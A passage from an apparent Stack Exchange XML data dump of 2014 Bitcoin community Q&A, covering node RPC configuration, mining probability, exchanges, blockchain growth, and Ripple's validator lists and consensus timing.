fee).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that a typical transaction is 500 bytes, so the typical transaction fee for low-priority transactions is 0.1 mBTC (0.0001 BTC), regardless of the number of bitcoins sent.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-02-09T19:49:43.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21915" PostTypeId="2" ParentId="21181" CreationDate="2014-02-09T19:56:23.030" Score="3" Body="&lt;p&gt;As Murch suggested in comments, I better leave this as an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I think your problem is that you haven't configured your &lt;code&gt;bitcoin.conf&lt;/code&gt; file. You can see all the parameters and explanation of em' thoughtfully provided by the Bitcoin wiki &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. See that example &lt;code&gt;bitcoin.conf&lt;/code&gt;? It has all the parameters commented out with the &lt;code&gt;#&lt;/code&gt; sign. Just uncomment them by removing the hash and fill in your configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use the api you are going to need &lt;code&gt;server=1&lt;/code&gt; to enable api commands, &lt;code&gt;rpcuser=&amp;lt;username&amp;gt;&lt;/code&gt; and &lt;code&gt;rpcpassword=&amp;lt;your secure password&lt;/code&gt; to be able to actually connect.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Now test it&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;It's easy to test your Bitcoind configuration settings with a browser, just load up the address of your Bitcoind in a browser like so: &lt;code&gt;http://127.0.0.1:8332&lt;/code&gt;. It should throw a username and password dialog if everything is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; You will need to enable &lt;code&gt;rpcallowip=&amp;lt;ip&amp;gt;&lt;/code&gt; to allow connections from other than your own machine. This is also really dangerous and I advise against this.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-02-09T19:56:23.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21916" PostTypeId="1" AcceptedAnswerId="21930" CreationDate="2014-02-09T20:42:13.433" Score="1" ViewCount="168" Body="&lt;p&gt;I understand with Ripple that anyone on the network can offer their own currency.  Someone cited the example of airline frequent flier miles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Airline miles, in my experience, come in whole numbers.  I.e. 2000 miles, not 1999.5 miles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I start trading miles on Ripple, someone could easily offer to buy or sell in fractional units.  So balances in ripple wallets could be 1999.5 miles, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way in Ripple to force the units of a particular currency to be integers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm asking about what appears in the wallets.  I know that within the system the units are integers.  I.e. 1 XRP = 1,000,000 drops.  I'm asking about the balances shown to users in their wallets.&lt;/p&gt;&#xA;" OwnerUserId="13218" LastEditorUserId="5406" LastEditDate="2015-11-07T15:10:28.120" LastActivityDate="2015-11-07T15:10:28.120" Title="Can ripple currency units be integers?" Tags="|ripple|iou|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21917" PostTypeId="1" AcceptedAnswerId="21918" CreationDate="2014-02-09T21:19:01.793" Score="0" ViewCount="81" Body="&lt;p&gt;I think I can generate bitcoin addresses offline by JS. Can I use them directly or have to report them to somewhere so that the network knows my addresses?&lt;/p&gt;&#xA;" OwnerUserId="12996" LastActivityDate="2014-02-09T21:22:32.343" Title="How to apply my bitcoin address generated offline to online" Tags="|address|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21918" PostTypeId="2" ParentId="21917" CreationDate="2014-02-09T21:22:32.343" Score="1" Body="&lt;p&gt;If you want to use an address to receive funds, then there is no requirement to &quot;report&quot; the offline generated address anywhere. You can create the address (public and private key) offline, read the address out to somebody over the phone (or send email, or post it on a web page), and they can then send bitcoin to that address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later, when you want to spend the funds sent to you, you would need to load the keys into a client.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-02-09T21:22:32.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21919" PostTypeId="1" CreationDate="2014-02-09T21:49:51.957" Score="0" ViewCount="223" Body="&lt;p&gt;My wallet is two weeks behind in synchronizing with the net. It sais I have 8 connections with the net, however...&#xA;On top of my walletscreen it says: &quot;Warning: Shown transactions are possible incorrect! You might need to upgrade, or other nodes need to upgrade.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="13304" LastActivityDate="2014-02-09T21:55:16.420" Title="My Bitcoin wallet doesn't synchronize" Tags="|wallet|network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21920" PostTypeId="2" ParentId="21919" CreationDate="2014-02-09T21:55:16.420" Score="1" Body="&lt;p&gt;You may need to upgrade is an indicator that you may be running a client that is no longer viable for use on the network.  Download the current version 0.8.6 at this time.  There was at least one hard fork in the network that caused older versions to be deprecated.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2014-02-09T21:55:16.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21921" PostTypeId="1" AcceptedAnswerId="21922" CreationDate="2014-02-09T22:41:55.490" Score="2" ViewCount="18214" Body="&lt;p&gt;I have read a lot about how to build and tune hardware for script mining, but it is still unclear to me how to trade what you have produced for real money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need some help in order to put together the parts of the big picture. So, I want to mine dogecoins. Using &lt;a href=&quot;https://www.multipool.us/index.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;a web site&lt;/a&gt; I can connect to mining pool for dogecoins. So, these all mined coins should appear in my account there, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, using &lt;a href=&quot;http://www.cryptopros.com/2014/01/multipoolus-best-practices-for-auto.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt; it is said that using an &quot;auto-sell&quot; strategy with &lt;a href=&quot;https://www.cryptsy.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cryptsy&lt;/a&gt; is nice. I can't get how both are connected - is Cryptsy used to transfer what you have produced to &lt;a href=&quot;https://en.wikipedia.org/wiki/Bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;BTC&lt;/a&gt;? And where is the part when the coins are transferred to money?&lt;/p&gt;&#xA;" OwnerUserId="13240" LastEditorUserId="1405" LastEditDate="2017-09-30T16:28:03.520" LastActivityDate="2017-09-30T16:28:03.520" Title="How do I trade dogecoin for money?" Tags="|dogecoin|money-transfer|cryptsy|" AnswerCount="1" CommentCount="1" ClosedDate="2014-02-13T18:55:50.553" ContentLicense="CC BY-SA 3.0" />
  <row Id="21922" PostTypeId="2" ParentId="21921" CreationDate="2014-02-09T22:47:04.510" Score="2" Body="&lt;p&gt;The basic idea is to find somebody else who is willing to pay money to obtain dogecoin. This is difficult to do by yourself, so there is the idea of an &quot;exchange&quot; where people who are interested in buying and selling can find each other. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would create an account on an exchange, send your freshly mined dogecoin to your exchange account, and then put them up for sale at some price. Hopefully, another person who wants to buy dogecoin will meet your price. When the sale happens you would get some amount of dollars in your exchange account. Note that in order to sell your dogecoin, there must be another buyer who is willing to buy them. If nobody is willing to buy, you can't convert them to cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, after a successful sale, you arrange with the exchange to withdraw your money into your bank account.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-02-09T22:47:04.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21924" PostTypeId="2" ParentId="19893" CreationDate="2014-02-09T23:57:02.630" Score="3" Body="&lt;p&gt;Technical details of how to do this are dicussed here. &#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/search?q=encode+message+in+the+block+chain&quot;&gt;https://bitcoin.stackexchange.com/search?q=encode+message+in+the+block+chain&lt;/a&gt;&#xA;The best way seems to be using the transaction output script. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info has this capabilities in it's wallets. Not sure what other wallets allow it.  &lt;/p&gt;&#xA;" OwnerUserId="13308" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2014-02-09T23:57:02.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21925" PostTypeId="2" ParentId="21149" CreationDate="2014-02-10T01:58:31.307" Score="2" Body="&lt;p&gt;Create a shortcut on your desktop (or somewhere) to:&#xA;&quot;C:\User\MYUSERNAME\Downloads\bitcoin-0.8.-win32\bitcoin-0.8.6-win32\bitcoin-qt.exe&quot; -testnet&#xA;and name it &quot;Bitcoin-QT testnet&quot;&lt;/p&gt;&#xA;" OwnerUserId="3363" LastActivityDate="2014-02-10T01:58:31.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21927" PostTypeId="1" CreationDate="2014-02-10T02:32:41.493" Score="2" ViewCount="309" Body="&lt;p&gt;I heard somewhere that joining a mining pool logarithmically increases your odds of mining a block.. is that for some reason true?  Or was it someone who didn't know what they were talking about and it would be be a linear increase in the likely hood of mining a block? &lt;/p&gt;&#xA;" OwnerUserId="13312" LastEditorUserId="5406" LastEditDate="2016-04-25T15:43:16.610" LastActivityDate="2016-04-25T15:43:16.610" Title="Does a miner (or mining pool) who has 10x as much hashing power have 10x the odds of mining a block?" Tags="|mining-pools|hash|mining-theory|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21928" PostTypeId="2" ParentId="21927" CreationDate="2014-02-10T03:03:16.627" Score="2" Body="&lt;p&gt;Each hash you do has a certain chance to successfully mine a block. Do twice as many hashes, and you have twice as many chances to mine a block.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-10T03:03:16.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21929" PostTypeId="2" ParentId="21927" CreationDate="2014-02-10T03:03:24.537" Score="1" Body="&lt;p&gt;The chances of finding a block relate to the proportion of total mining power that you contribute, compared to the network as a whole. For example, suppose you are mining with 1 GH/s and the rest of the network is 99 GH/s. Your chance of finding a block is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 / (1 + 99) = 0.01 = 1%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you double your hashing power, then you have 2 and the rest of the network still has 99.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2 / (2 + 99) = 0.0198 = 1.98%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason it's not exactly 2% is the total network is now 101 GH/s, not 100.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you control 40% of the network hashing power, things get a bit different:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;40 / (40 + 60) = 0.40 = 40%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After doubling your hashing power:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;80 / (80 + 60) = 0.5714 = 57.14%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, if you have a significant amount of hashing power then doubling your effort doesn't double your chances of finding a block. However, for small mining efforts the relationship is very close to linear.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-02-10T03:03:24.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21930" PostTypeId="2" ParentId="21916" CreationDate="2014-02-10T03:05:20.730" Score="2" Body="&lt;p&gt;Gateways can refuse to issue or redeem fractional amounts and users can refuse to pay them. But there is no authority to say to someone &quot;you may not hold a fractional amount of this currency&quot;. Nobody can stop you from holding fractional amounts if you wish to.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-10T03:05:20.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21933" PostTypeId="1" AcceptedAnswerId="21936" CreationDate="2014-02-10T04:55:46.430" Score="1" ViewCount="81" Body="&lt;p&gt;According to this article &lt;a href=&quot;http://bitcoinmagazine.com/2960/instant-transaction-fraud-an-explanation/&quot; rel=&quot;nofollow&quot;&gt;Instant Transaction Fraud: An Explanation&lt;/a&gt;, SatoshiDice required all incoming transactions to include fees.  How do they do that?  I assume that they check the &quot;fee&quot; data from the gettransaction() call to the Bitcoin API.  But what happens if the user does not include a fee?  Does SatoshiDice reject the bet and send the bitcoins back?&lt;/p&gt;&#xA;" OwnerUserId="12048" LastActivityDate="2014-02-10T05:52:52.650" Title="Force sender to include transaction fee" Tags="|transaction-fees|satoshidice|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21934" PostTypeId="1" CreationDate="2014-02-10T05:09:09.507" Score="-1" ViewCount="466" Body="&lt;p&gt;I want to know how the price is determined daily for bitcoins. I know that exchanges determine it based on the exchanges that happens in their bitcoin-exchange site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But lets take there is a new exchange so how do we get the bitcoin price intially and how to calculate from there.&lt;/p&gt;&#xA;" OwnerUserId="12063" LastActivityDate="2014-02-10T07:40:27.337" Title="how to determine bitcoin price" Tags="|exchange-rate|value|" AnswerCount="1" CommentCount="0" ClosedDate="2014-02-11T10:41:36.227" ContentLicense="CC BY-SA 3.0" />
  <row Id="21935" PostTypeId="1" CreationDate="2014-02-10T05:34:36.320" Score="0" ViewCount="567" Body="&lt;p&gt;Would a Samsung Chromebook be a suitable choice to run the offline wallet???&#xA;I read that Chromebooks run a Unix based OS.&#xA;(I would obviously disable networking, bluetooth etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13315" LastActivityDate="2014-05-11T11:33:56.573" Title="Selecting a computer for the OFFLINE Electrum Wallet" Tags="|wallet|electrum|offline|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21936" PostTypeId="2" ParentId="21933" CreationDate="2014-02-10T05:52:52.650" Score="1" Body="&lt;p&gt;They simply do not process transactions they receive without a fee. The sender loses their coins to SatoshiDice if they make this mistake.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-02-10T05:52:52.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21938" PostTypeId="2" ParentId="21927" CreationDate="2014-02-10T06:31:40.567" Score="0" Body="&lt;p&gt;I don't think anyone has directly addressed your question, and the answer is no, joining a mining pool will not increase the chance of you personally solving a block. The probability of you mining a block is the same whether you join a pool or mine solo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pool has a probability of mining a block that is approximately proportional to it's percentage of the network hashrate estimate.&lt;/p&gt;&#xA;" OwnerUserId="1611" LastActivityDate="2014-02-10T06:31:40.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21939" PostTypeId="1" AcceptedAnswerId="21949" CreationDate="2014-02-10T06:38:41.493" Score="2" ViewCount="8882" Body="&lt;p&gt;the blockchain is about 20GB today, but i was wondering how much space does it take up each day if i were to leave bitcoinqt on regularly? also by hour? reason why im asking is im thinking about just putting the blockchain in my cloud drive (bitcasa.com) as my laptop has only so much space. if its not too much space that means it wont be a bandwidth hog when its uploading it to cloud drive after it downloads it. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2015-08-20T13:14:53.517" LastActivityDate="2015-08-20T13:14:53.517" Title="How much space does the blockchain take up per day and per hour when running bitcoinQT on my computer?" Tags="|blockchain|synchronization|storage-footprint|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21940" PostTypeId="1" CreationDate="2014-02-10T06:45:40.850" Score="1" ViewCount="310" Body="&lt;p&gt;im testing out bitcoinqt armory and was wondering how do i import a QR code paper wallet? there's no option to take a picture of my paper wallet. how can this be done easily?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-02-10T06:45:40.850" Title="How to scan a QR code into bitcoinQT armory?" Tags="|armory|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21942" PostTypeId="1" AcceptedAnswerId="24189" CreationDate="2014-02-10T07:02:22.760" Score="0" ViewCount="6082" Body="&lt;p&gt;Could someone share his/her experience of using USB flash drive over HDD?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the only purpose of both is to store the OS. I am going to use &lt;code&gt;Ubuntu 13.10&lt;/code&gt; which I believe will fit 8 GB USB since it is said to required 5 GB free space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for best practices of choosing USB flash drive since like storage and speed requirements(brand may be) and is there any factors (like not enough storage for update/performance/burn/block that can make it clever to chose the HDD instead.&lt;/p&gt;&#xA;" OwnerUserId="13240" LastEditorUserId="2306" LastEditDate="2017-04-25T20:04:30.120" LastActivityDate="2017-04-25T20:04:30.120" Title="Pros and Cons of using HDD or USB Flash drive (script mining)?" Tags="|mining-hardware|" AnswerCount="2" CommentCount="4" ClosedDate="2014-04-02T23:30:33.083" ContentLicense="CC BY-SA 3.0" />
  <row Id="21943" PostTypeId="1" AcceptedAnswerId="21947" CreationDate="2014-02-10T07:26:39.673" Score="2" ViewCount="188" Body="&lt;p&gt;Also, the name Earthcoin suggests to me that it may be somehow more sustainable with regards to the computing resources required to support it; is there any basis in that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The official site appears to be &lt;a href=&quot;http://getearthcoin.com/&quot; rel=&quot;nofollow&quot;&gt;http://getearthcoin.com/&lt;/a&gt; which has some pretty logos but is woefully lacking in technical detail. As it probably always the case with an altcoin, it also has a &lt;a href=&quot;https://bitcointalk.org/index.php?topic=379236.0&quot; rel=&quot;nofollow&quot;&gt;thread on bitcointalk.org&lt;/a&gt; which seems to describe a very odd block reward system with some days paying 2 or 5 times the normal block reward.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2014-02-13T00:54:19.550" Title="In which ways is Earthcoin different from Bitcoin?" Tags="|altcoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21946" PostTypeId="2" ParentId="21934" CreationDate="2014-02-10T07:40:27.337" Score="0" Body="&lt;p&gt;Typically, you have three prices: The &quot;buy price&quot; is the lowest price you can buy a fraction of a Bitcoin for at any particular time. The &quot;sell price&quot; is the highest price you can get for a fraction of a Bitcoin. Any time a buyer and seller agree to exchange Bitcoins for a particular price, an exchange takes place, and a &quot;last price&quot; is established.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you have a new exchange, initially you have no price. After a few people place offers to buy or sell Bitcoins, you'll have a &quot;buy price&quot; and a &quot;sell price&quot;. As soon as the first exchange takes place, you have a &quot;last price&quot;. As people place and remove offers and exchanges take place, these prices update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also track a few other prices over time. The &quot;high price&quot; is the most someone had to pay for a fraction of a Bitcoin over some particular period of time. That means nobody was willing to sell any Bitcoins for less at that time. The &quot;low price&quot; the least someone sold a Bitcoin for over some particular time period. That means nobody was willing to pay them any higher price at that time.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-10T07:40:27.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21947" PostTypeId="2" ParentId="21943" CreationDate="2014-02-10T07:44:31.707" Score="3" Body="&lt;p&gt;As mentioned in the BitcoinTalk thread.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Our goal isn't to compete, as much as compliment, create balance, and &#xA;  not divert into launching 9 more coins because we can.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It doesn't look there is much difference. It may have a different block time, reward, and cap, but that is standard stuff to change for an altcoin. There appears to be absolutely no technological advance. It donates a percentage of coins to charity but that means nothing if it has no value.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-02-10T07:44:31.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21948" PostTypeId="2" ParentId="21942" CreationDate="2014-02-10T07:52:26.157" Score="2" Body="&lt;p&gt;It's best to choose the HDD because it's easier (all computers should have one), and faster than the USB drive in most cases. But it shouldn't really matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why it doesn't matter&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining is not storage intensive, you aren't storing massive amounts of data when mining. You aren't even storing data when mining. It's all stored in computer memory, think RAM. A faster storage could only help with downloading the block chain in faster time, which won't improve your mining as it is only done once and finally. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But don't go buying up RAM as well. You mainly mine Scrypt coins with a graphics card and those have plenty of on-board memory. And if you are CPU mining you shouldn't be.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-02-10T07:52:26.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21949" PostTypeId="2" ParentId="21939" CreationDate="2014-02-10T09:01:46.080" Score="3" Body="&lt;p&gt;The blockchain size growth is kind of approximately linear at this time (although I wouldn't expect it to continue linearly). See the nice graph at &lt;a href=&quot;https://blockchain.info/charts/blocks-size&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/charts/blocks-size&lt;/a&gt; and particularly check the &quot;All Time&quot; scale option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Over the past year, the blockchain size has grown by approximately 10 GB. On average, that would be around 27 MB per day, or 1.1 MB per hour.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-02-10T09:01:46.080" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21950" PostTypeId="1" AcceptedAnswerId="21953" CreationDate="2014-02-10T09:11:50.397" Score="2" ViewCount="701" Body="&lt;p&gt;Who maintains the Ripple UNL list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ripple.com/wiki/Unique_Node_List&quot; rel=&quot;nofollow&quot;&gt;This&lt;/a&gt; says&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We periodically poll our sources. If they mention a new node with a score over an amount, we add the node to our trusted core set.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Who is &quot;we&quot;?  Are &quot;we&quot; the network, or are &quot;we&quot; a set of maintainers, founders, etc?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2014-02-10T09:50:48.933" LastActivityDate="2014-02-10T09:57:26.753" Title="Is Ripple's UNL list maintained by the network?" Tags="|protocol|ripple|alternatives|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21951" PostTypeId="2" ParentId="21935" CreationDate="2014-02-10T09:37:08.910" Score="2" Body="&lt;p&gt;It seems possible but a bit of a hassle to install python (required for Electrum).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to this&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/7299685/programming-on-samsung-chromebook&quot;&gt;question&lt;/a&gt;&#xA;you can enable &lt;a href=&quot;http://www.chromium.org/chromium-os/developer-information-for-chrome-os-devices/samsung-series-5-chromebook&quot; rel=&quot;nofollow noreferrer&quot;&gt;Developer Mode&lt;/a&gt; to get a shell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively there seems to be a &lt;a href=&quot;https://chrome.google.com/webstore/detail/secure-shell/pnhechapfaindjhompbnflcldabbghjo&quot; rel=&quot;nofollow noreferrer&quot;&gt;Chrome plugin to get a shell&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, if you already have the Chromebook it is a viable choice. Otherwise I would suggest a cheap system which allows more freedom out of the box.&lt;/p&gt;&#xA;" OwnerUserId="12419" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2014-02-10T09:37:08.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21953" PostTypeId="2" ParentId="21950" CreationDate="2014-02-10T09:57:26.753" Score="4" Body="&lt;p&gt;Currently, Ripple Labs runs five validators and most Ripple servers have only these five validators on their UNL. A transition is in the works to distributed community management of UNLs, and that transition is expected to be completed during the first half of 2014.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the final scheme, publishers will be able to publish lists of validators (by public key). They will ensure validators accurately report their identity, jurisdiction, type of organization, and so on. Publishers will monitor the validators they publish to ensure they are operating reliably. Since validators must sign every proposal and validation, most types of misconduct will be easily provable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Ripple server software will come with a default list of publishers, though you can add or remove them as you see fit. You can also manually add validators or remove validators. You will be able to tune the policy based on the parameters the publishers vouch for. For example, if you don't want any validators operated by governments, you can opt to do that. If you don't want any validators in Australia, you can opt to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your server will periodically poll the publishers and statistically combine their lists to come up with a set of validators to use.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-10T09:57:26.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21954" PostTypeId="1" AcceptedAnswerId="21955" CreationDate="2014-02-10T10:09:50.327" Score="2" ViewCount="257" Body="&lt;p&gt;I like the way Ripple provides effectively instantaneous transaction verification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When building consensus how much traffic and their equivalent of orphan blocks are accumulated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is communication throttled at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the candidate set processed by the network or the founders?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-02-10T11:04:11.527" Title="Ripple network overhead" Tags="|protocol|ripple|alternatives|economic-theory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21955" PostTypeId="2" ParentId="21954" CreationDate="2014-02-10T10:25:52.923" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;When building consensus how much traffic and their equivalent of orphan blocks are accumulated?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Once a consensus round starts, the amount of information that needs to be distributed is fixed, since new transactions cannot be introduced. If there's no reason a transaction shouldn't be included, then almost all honest nodes will ask that it be included. If there's any reason a transaction shouldn't be included, then the avalanche algorithm quickly excludes it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is communication throttled at all?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Each validator rate-limits how often it changes its position. There is no reason to send a position that is already obsolete due to the decisions made by other validators.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the candidate set processed by the network or the founders?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Once each validator determines that a particular candidate set has a super-majority, it applies the transactions in that candidate set and signs the resulting ledger. If a super-majority of validators sign that ledger, then we have a new &quot;last fully-validated ledger&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any transactions that could have gotten into that candidate set but didn't are then recovered using a deterministic process.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how much time does the average round consume?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The network bases each round's timing on the previous rounds, trying to make the round a little bit faster if it can, but making it slower if it must.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few minimum timings to ensure network stability. A ledger must be open for at least two seconds in order to ensure nodes have a chance to finish processing the previous ledger. A consensus cannot be declared for at least two seconds after the ledger closes to ensure nodes have a chance to take an initial position before other nodes conclude there is a consensus. (These are absolute minimums. If needed, they will rise.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes a typical consensus round take about 5 seconds, plus 1 second for each additional avalanche needed to reach consensus. The number of rounds tends to grow logarithmically with the number of nodes and linearly with the network diameter (time it takes for a flooded message to reach the majority of nodes). We don't expect the timing to get over 10 seconds, even with a large network, so long as the network is confined to Earth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Underperforming nodes will &quot;bow out&quot; of the consensus process to prevent the network from becoming as slow as the slowest node. Overperforming nodes will slow down to prevent the network from becoming as fast as the fastest nodes (as this would reduce decentralization). The algorithm is designed to self-regulate to keep the fastest subset of sufficient size operating.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-02-10T11:04:11.527" LastActivityDate="2014-02-10T11:04:11.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
